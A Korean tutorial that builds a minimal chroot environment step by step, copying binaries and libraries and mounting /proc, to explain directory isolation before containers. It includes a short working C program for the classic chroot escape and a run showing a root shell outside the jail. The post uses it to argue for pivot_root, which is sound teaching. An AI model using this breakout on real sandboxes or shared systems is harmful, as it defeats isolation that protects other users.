개요
1979년에 최초로 등장한 chroot를 탐구
명령어
chroot <new-root-path> <exec-command-path>
Shell
복사
chroot의 명령어 형식을 보면, 2번째 인자로 주어지는 명령어를 실행할 때 1번째 인자를 루트로 인식시키는 형태로 동작
** chroot는 root 권한을 기반으로 동작
docker container exec -it <container-name> <command>
Shell
복사
도커도 별도 설정이 없다면 도커 컨테이너의 루트를 새로운 루트로 두고 명령어를 실행하는 식으로 동작
이와 같은 도커 컨테이너의 동작 방식을 보았을 때 chroot는 도커 컨테이너와 상당히 유사하게 동작하는 것을 볼 수 있음
동작 원리
일반적인 시스템의 루트인 /를 이용하는 프로세스 R
chroot를 이용하여 /A를 루트로 이용하는 프로세스 K
K는 상위 디렉토리인 /와 사촌 관계에 있는 B, C에 대한 접근이 불가능
즉, chroot를 이용하여 상위 디렉토리에 대한 격리 가능
새로운 루트에서 프로그램 실행
chroot를 이용하여 새로운 루트를 구성하고, 새로운 루트 환경에서 프로그램을 실행
주로 사용하는 명령어는 아래와 같음
•
mkdir (디렉토리 생성)
•
cp (파일 복사)
•
tree (파일 시스템 탐색 결과를 트리 형태 출력)
•
ldd (프로그램의 의존 파일 목록 출력)
새로운 루트 전환 시도
# chroot는 root 권한이 필요
sudo -i
# 새로운 루트를 위한 디렉토리 생성
mkdir -p /tmp/new_root
# chroot 시도
chroot /tmp/new_root /bin/sh
Shell
복사
시스템 상에는 분명 /bin/sh가 존재함에도 불구하고, No such file or directory 오류가 발생
chroot의 2번째 인자로 주어지는 명령어는 기존 루트가 아니라 새로운 루트를 기준으로 동작하는데, 새로운 루트인 /tmp/new_root는 비어 있어서 하위에 아무 것도 없음
/tmp/new_root/bin/sh를 탐색했는데 없어서 오류가 발생
/bin/sh 파일 복사
# 명령어 파일이 위치할 디렉토리 생성
mkdir -p /tmp/new_root/bin
# 2번째 명령어로 실행하려는 파일을 복사
cp /bin/sh /tmp/new_root/bin/sh
# 새로운 루트의 디렉토리 구조 확인
tree /tmp/new_root
Shell
복사
위 명령어를 통해 실행하려는 파일을 다시 위치시키고 chroot를 실행 시에도 여전히 같은 오류가 발생하며 실패
/bin/sh는 존재하지만, /bin/sh가 의존하고 있는 파일이 없어서 오류 발생
/bin/sh 의존 파일 복사
# /bin/sh의 의존 파일을 확인
ldd /bin/sh
# 의존 파일이 위치할 디렉토리를 생성
mkdir -p /tmp/new_root/{lib64,lib/x86_64-linux-gnu}
# 의존 파일 복사
# linux-vdso.so.1는 가상 라이브러리라서 실제로는 존재하지 않는 파일
cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/new_root/lib/x86_64-linux-gnu/
cp /lib64/ld-linux-x86-64.so.2 /tmp/new_root/lib64/
# 새로운 루트의 디렉토리 구조 확인
tree /tmp/new_root
Shell
복사
위 명령어를 순서대로 수행했을 때 비로소 오류가 발생하지 않고 chroot가 성공
ls 명령어 활성화
새로운 루트에서 exit으로 빠져나온 후, /bin/sh가 실행될 수 있도록 수행한 방법과 동일한 방법으로 아래 시퀀스를 수행
•
ls 명령어 파일 복사
•
ls 의존 파일 복사
# ls 명령어 파일 위치 확인
which ls
# ls 명령어 파일 복사를 위한 디렉토리 생성
mkdir -p /tmp/new_root/usr/bin
# ls 명령어 파일 복사
cp /usr/bin/ls /tmp/new_root/usr/bin/
# 새로운 루트의 디렉토리 구조 확인
tree /tmp/new_root
Shell
복사
# /usr/bin/ls의 의존 파일을 확인
ldd /usr/bin/ls
# 의존 파일 복사
# linux-vdso.so.1는 가상 라이브러리라서 실제로는 존재하지 않는 파일
cp /lib/x86_64-linux-gnu/libselinux.so.1 /tmp/new_root/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/new_root/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libpcre2-8.so.0 /tmp/new_root/lib/x86_64-linux-gnu/
cp /lib64/ld-linux-x86-64.so.2 /tmp/new_root/lib64/
# 새로운 루트의 디렉토리 구조 확인
tree /tmp/new_root
Shell
복사
chroot로 루트 전환 후 ls까지 수행하면 정상적으로 디렉토리 탐색이 가능
cd와 pwd는 built-in 명령어라서 별도 파일 복사 없이 이용 가능
ps 명령어 활성화
ps 명령어 복사
# ps 명령어 파일 위치 확인
which ps
# ps 명령어 파일 복사
cp /usr/bin/ps /tmp/new_root/usr/bin/
# 새로운 루트의 디렉토리 구조 확인
tree /tmp/new_root
Shell
복사
# /usr/bin/ps의 의존 파일을 확인
ldd /usr/bin/ps
# 의존 파일 복사
# linux-vdso.so.1는 가상 라이브러리라서 실제로는 존재하지 않는 파일
cp /lib/x86_64-linux-gnu/libprocps.so.8 /tmp/new_root/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/new_root/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libsystemd.so.0 /tmp/new_root/lib/x86_64-linux-gnu/
cp /lib64/ld-linux-x86-64.so.2 /tmp/new_root/lib64/
cp /lib/x86_64-linux-gnu/liblzma.so.5 /tmp/new_root/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libzstd.so.1 /tmp/new_root/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/liblz4.so.1 /tmp/new_root/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libcap.so.2 /tmp/new_root/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libgcrypt.so.20 /tmp/new_root/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libgpg-error.so.0 /tmp/new_root/lib/x86_64-linux-gnu/
# 새로운 루트의 디렉토리 구조 확인
tree /tmp/new_root
Shell
복사
ps 명령어 역시 ls 명령어 활성화와 마찬가지로 수행하면 되지만, chroot 후 ps를 실행해보면 오류가 발생
ps 명령어는 /proc의 실시간 정보를 활용하기 때문에, 이에 대한 mount 가 필요
mount 명령어 복사
# mount 명령어 파일 위치 확인
which mount
# mount 명령어 파일 복사
cp /usr/bin/mount /tmp/new_root/usr/bin/
# 새로운 루트의 디렉토리 구조 확인
tree /tmp/new_root
Shell
복사
# /usr/bin/mount의 의존 파일을 확인
ldd /usr/bin/mount
# 의존 파일 복사
# linux-vdso.so.1는 가상 라이브러리라서 실제로는 존재하지 않는 파일
cp /lib/x86_64-linux-gnu/libmount.so.1 /tmp/new_root/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libselinux.so.1 /tmp/new_root/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/new_root/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libblkid.so.1 /tmp/new_root/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libpcre2-8.so.0 /tmp/new_root/lib/x86_64-linux-gnu/
cp /lib64/ld-linux-x86-64.so.2 /tmp/new_root/lib64/
# 새로운 루트의 디렉토리 구조 확인
tree /tmp/new_root
Shell
복사
mount 명령어 복사
mkdir 명령어 복사
# mkdir 명령어 파일 위치 확인
which mkdir
# mkdir 명령어 파일 복사
cp /usr/bin/mkdir /tmp/new_root/usr/bin/
# 새로운 루트의 디렉토리 구조 확인
tree /tmp/new_root
Shell
복사
# /usr/bin/mkdir의 의존 파일을 확인
ldd /usr/bin/mkdir
# 의존 파일 복사
# linux-vdso.so.1는 가상 라이브러리라서 실제로는 존재하지 않는 파일
cp /lib/x86_64-linux-gnu/libselinux.so.1 /tmp/new_root/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/new_root/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libpcre2-8.so.0 /tmp/new_root/lib/x86_64-linux-gnu/
cp /lib64/ld-linux-x86-64.so.2 /tmp/new_root/lib64/
# 새로운 루트의 디렉토리 구조 확인
tree /tmp/new_root
Shell
복사
mkdir 명령어까지 복사
/proc 마운트
# 새로운 루트 전환
chroot /tmp/new_root /bin/sh
# proc 파일 시스템 마운트를 위한 디렉토리 생성
mkdir -p /proc
# proc 파일 시스템 마운트
mount -t proc proc /proc
# 마운트 여부 확인
mount -t proc
# ps 명령어 동작 확인
ps
Shell
복사
새로운 루트로 전환하여 /proc 디렉토리를 생성하고, proc 타입의 파일 시스템을 마운트하여 커널이 동적으로 프로세스 정보를 작성할 수 있도록 구성
탈옥 시도 - 명령어
# 새로운 루트로 전환
chroot /tmp/new_root /bin/sh
# 전환된 루트의 파일 목록 확인
ls /
# 전환된 루트 상위 디렉토리로 변경 시도
# /tmp/new_root를 디렉토리로 잡았기 때문에 기존 루트 디렉토리를 예상하고 3-depth 위로 이동
cd ../../../
# 다시 전환된 루트의 파일 목록 확인
ls /
# 새로운 루트에서는 탈옥이 안 됨을 확인하고 exit
exit
# 기존 루트에서의 파일 목록을 확인
# 새로운 루트와의 파일 목록과 상이함을 통해 탈옥이 이뤄지지 않음을 확인
ls /
Shell
복사
chroot로 새로운 루트 전환을 한 결과로 cd 명령어로 탈옥 시도 시, 탈옥이 정상적으로 이뤄지지 않음을 볼 수 있음
탈옥 시도 - 소스 코드
준비
#include <sys/stat.h>
#include <unistd.h>
int main(void)
{
mkdir(".out", 0755);
chroot(".out");
chdir("../../../../../");
chroot(".");
return execl("/bin/sh", "-i", NULL);
}
Shell
복사
위 코드를 /tmp/new_root/jail_break.c로 저장하고, 아래 명령어로 컴파일 하여 새로운 루트에 배치
# 소스 코드 작성
vi /tmp/new_root/jail_break.c
# 소스 코드 컴파일
gcc -o /tmp/new_root/jail_break /tmp/new_root/jail_break.c
# 컴파일 여부 확인
tree -L 1 /tmp/new_root
# 파일 상세 확인
file /tmp/new_root/jail_break
Shell
복사
실행
# 새로운 루트 전환
chroot /tmp/new_root /bin/sh
# / 경로의 파일 목록 확인
ls /
# 기존 명령어 방식으로 탈옥 시도
cd ../../../
# / 경로 재확인 시 탈옥 안 되는 것을 확인
ls /
# 소스 코드로 만든 파일을 통해 탈옥 시도
./jail_break
# / 경로 확인 시 기존 루트의 경로가 나오고 탈옥된 것을 볼 수 있음
ls /
# 소스 코드 동작이 로그인을 한 번 더 하기 때문에 exit을 두번 호출하여 기존 루트로 복귀
exit
exit
# 기존 루트의 / 경로 비교를 통해 확실히 탈옥됨을 확인
ls /
Shell
복사
새로운 루트로 전환하고 컴파일한 파일을 실행하여 / 경로를 확인하면, 탈옥된 것을 볼 수 있음
결론
chroot의 한계점으로 인하여 상위 디렉토리 격리는 개선된 형태의 명령어인 pivot_root를 이용
pivot_root의 동작 원리 상 하위 디렉토리의 격리도 필요한데, 이는 mount와 unshare로 격리
상, 하위 디렉토리의 격리를 통해 디렉토리 격리를 만족
찾아보면 좋은 명령어는 아래와 같음
- pivot_root
- mount
- unshare
- lsns